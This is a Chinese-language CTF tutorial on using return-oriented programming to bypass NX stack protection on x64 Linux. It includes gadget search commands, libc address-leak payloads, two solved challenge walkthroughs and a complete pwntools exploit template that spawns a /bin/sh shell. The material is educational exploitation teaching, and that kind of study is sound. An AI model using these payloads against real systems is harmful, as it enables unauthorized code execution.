一篇文章带你清晰地理解 ROP 绕过 NX 技术
字数 1603 2025-08-18 11:35:32

ROP 绕过 NX 保护技术详解

一、基础知识准备

1. x86与x64架构区别

  • 内存地址范围:x86为32位,x64为64位(但可用地址≤0x00007fffffffffff)
  • 参数传递
    • x86:所有参数通过栈传递
    • x64:前6个参数依次通过RDI、RSI、RDX、RCX、R8和R9寄存器传递,多余参数通过栈传递

2. 函数调用约定

  • _stdcall(Windows API默认)
  • _cdecl(C/C++默认)
  • _fastcall
  • _thiscall
  • CTF中关键点:通过IDA阅读汇编代码确定参数传递顺序和堆栈平衡方式

3. libc.so文件的作用

  • 提供libc函数之间的偏移地址
  • libc加载基地址会变化,但函数相对偏移固定

4. NX保护原理

  • No-eXecute(不可执行)保护
  • 将数据所在内存页标识为不可执行
  • 防止直接在栈中执行shellcode

5. 输入输出函数特性

函数 特性
scanf("%s",str) 读取非空白字符,遇到空格/tab/回车结束,添加\0
gets(str) 读取到回车,用\0替换\n
printf("%s",str) 输出到\0结束
puts(str) 输出到\0结束,末尾添加\n
read/write 严格按指定字节数操作,可处理任意字符

二、ROP技术原理

1. 基本ROP攻击流程

  1. 覆盖返回地址指向gadget地址
  2. 执行gadget中的指令(如pop rdi; ret)
  3. 将参数放入寄存器(如/bin/sh地址放入rdi)
  4. 跳转到目标函数(如system)

2. 关键问题解决

  1. gadget搜索:使用ROPgadget工具

    ROPgadget --binary <binary> | grep "pop rdi"
    
  2. /bin/sh字符串

    • 检查程序是否已有
    • 若无,写入.bss段(通过read/scanf/gets)
  3. system函数地址

    • 泄露已执行过的libc函数地址
    • 计算libc基地址:libc_base = leaked_addr - libc_offset
    • 计算system地址:system_addr = libc_base + system_offset

三、ROP绕过NX具体步骤

1. 信息收集阶段

  • 确定溢出点位置(IDA静态分析或GDB动态调试)
  • 检查可用函数:
    • 输出函数:write/printf/puts(用于泄露地址)
    • 输入函数:read/scanf/gets(用于写入数据)
  • 查找.bss段地址:readelf -S <binary>或IDA查看

2. 地址泄露阶段

  1. 构造payload1泄露libc函数地址
    payload1 = padding + p64(pop_rdi) + p64(got_addr) + p64(puts_plt) + p64(vuln_addr)
    
  2. 接收泄露的地址并计算libc基地址

3. 攻击实施阶段

  1. 写入"/bin/sh"到.bss段
    payload2 = padding + p64(pop_rdi) + p64(bss_addr) + p64(gets_plt) + ...
    
  2. 调用system("/bin/sh")
    payload2 += p64(pop_rdi) + p64(bss_addr) + p64(system_addr)
    

四、实战案例解析

案例1:THUCTF - stackoverflowwithoutleak

  • 特点:程序中已有system调用(doit函数)
  • 利用技巧:vul()函数中有mov rdi, rsp指令
  • POC
    buf = "/bin/sh\0" + 'A'*(8192-8) + p64(0x400722)
    

案例2:Seccon 2018 - classic

  1. 确定溢出长度:48+24字节
  2. 泄露puts地址
    payload1 = 'a'*(48+24) + p64(poprdi_ret) + p64(0x601018) + p64(puts_plt) + p64(vuln_addr)
    
  3. 处理puts输出特性(注意\n和\0问题)
  4. 计算system地址
    system_addr = put_addr - put_libc + system_libc
    
  5. 最终攻击
    payload2 = 'a'*(48+24) + p64(poprdi_ret) + p64(bss_addr) + p64(gets_plt) 
               + p64(poprdi_ret) + p64(bss_addr) + p64(system_addr)
    

五、实用技巧与工具

  1. GDB输入不可见字符

    with open("input", "wb") as f:
        f.write("\xa9\x06\x40\x00\x00\x00\x00\x00")
    gdb> r < input
    
  2. 常用工具

    • ROPgadget
    • pwntools
    • IDA Pro
    • GDB
  3. 调试技巧

    • 使用p.recvuntil()清理不必要输出
    • 单独测试leak函数确保正确性
    • 注意函数延迟绑定机制

六、完整POC模板

from pwn import *

# 设置libc
libc = ELF('./libc.so.6')
puts_libc = libc.symbols['puts']
system_libc = libc.symbols['system']

# 程序信息
puts_plt = 0x400520
gets_plt = 0x400560
pop_rdi = 0x400753
vuln_addr = 0x4006A9
bss_addr = 0x601060

# 第一次泄露
p = process('./binary')
payload1 = 'A'*72 + p64(pop_rdi) + p64(0x601018) + p64(puts_plt) + p64(vuln_addr)
p.sendline(payload1)

# 处理泄露地址
leak = u64(p.recv(8).ljust(8, '\x00'))
libc_base = leak - puts_libc
system_addr = libc_base + system_libc

# 第二次攻击
payload2 = 'A'*72 + p64(pop_rdi) + p64(bss_addr) + p64(gets_plt)
payload2 += p64(pop_rdi) + p64(bss_addr) + p64(system_addr)
p.sendline(payload2)
p.sendline('/bin/sh\0')

p.interactive()

通过以上详细讲解和实战案例,应该能够掌握ROP绕过NX保护的核心技术和实践方法。关键是要理解原理,灵活应用各种gadget,并注意不同环境和函数的特性差异。

ROP 绕过 NX 保护技术详解 一、基础知识准备 1. x86与x64架构区别 内存地址范围 :x86为32位,x64为64位(但可用地址≤0x00007fffffffffff) 参数传递 : x86:所有参数通过栈传递 x64:前6个参数依次通过RDI、RSI、RDX、RCX、R8和R9寄存器传递,多余参数通过栈传递 2. 函数调用约定 _ stdcall(Windows API默认) _ cdecl(C/C++默认) _ fastcall _ thiscall CTF中关键点 :通过IDA阅读汇编代码确定参数传递顺序和堆栈平衡方式 3. libc.so文件的作用 提供libc函数之间的偏移地址 libc加载基地址会变化,但函数相对偏移固定 4. NX保护原理 No-eXecute(不可执行)保护 将数据所在内存页标识为不可执行 防止直接在栈中执行shellcode 5. 输入输出函数特性 | 函数 | 特性 | |------|------| | scanf("%s",str) | 读取非空白字符,遇到空格/tab/回车结束,添加\0 | | gets(str) | 读取到回车,用\0替换\n | | printf("%s",str) | 输出到\0结束 | | puts(str) | 输出到\0结束,末尾添加\n | | read/write | 严格按指定字节数操作,可处理任意字符 | 二、ROP技术原理 1. 基本ROP攻击流程 覆盖返回地址指向gadget地址 执行gadget中的指令(如pop rdi; ret) 将参数放入寄存器(如/bin/sh地址放入rdi) 跳转到目标函数(如system) 2. 关键问题解决 gadget搜索 :使用ROPgadget工具 /bin/sh字符串 : 检查程序是否已有 若无,写入.bss段(通过read/scanf/gets) system函数地址 : 泄露已执行过的libc函数地址 计算libc基地址: libc_base = leaked_addr - libc_offset 计算system地址: system_addr = libc_base + system_offset 三、ROP绕过NX具体步骤 1. 信息收集阶段 确定溢出点位置(IDA静态分析或GDB动态调试) 检查可用函数: 输出函数:write/printf/puts(用于泄露地址) 输入函数:read/scanf/gets(用于写入数据) 查找.bss段地址: readelf -S <binary> 或IDA查看 2. 地址泄露阶段 构造payload1泄露libc函数地址 接收泄露的地址并计算libc基地址 3. 攻击实施阶段 写入"/bin/sh"到.bss段 调用system("/bin/sh") 四、实战案例解析 案例1:THUCTF - stackoverflowwithoutleak 特点 :程序中已有system调用(doit函数) 利用技巧 :vul()函数中有 mov rdi, rsp 指令 POC : 案例2:Seccon 2018 - classic 确定溢出长度 :48+24字节 泄露puts地址 : 处理puts输出特性 (注意\n和\0问题) 计算system地址 : 最终攻击 : 五、实用技巧与工具 GDB输入不可见字符 : 常用工具 : ROPgadget pwntools IDA Pro GDB 调试技巧 : 使用 p.recvuntil() 清理不必要输出 单独测试leak函数确保正确性 注意函数延迟绑定机制 六、完整POC模板 通过以上详细讲解和实战案例,应该能够掌握ROP绕过NX保护的核心技术和实践方法。关键是要理解原理,灵活应用各种gadget,并注意不同环境和函数的特性差异。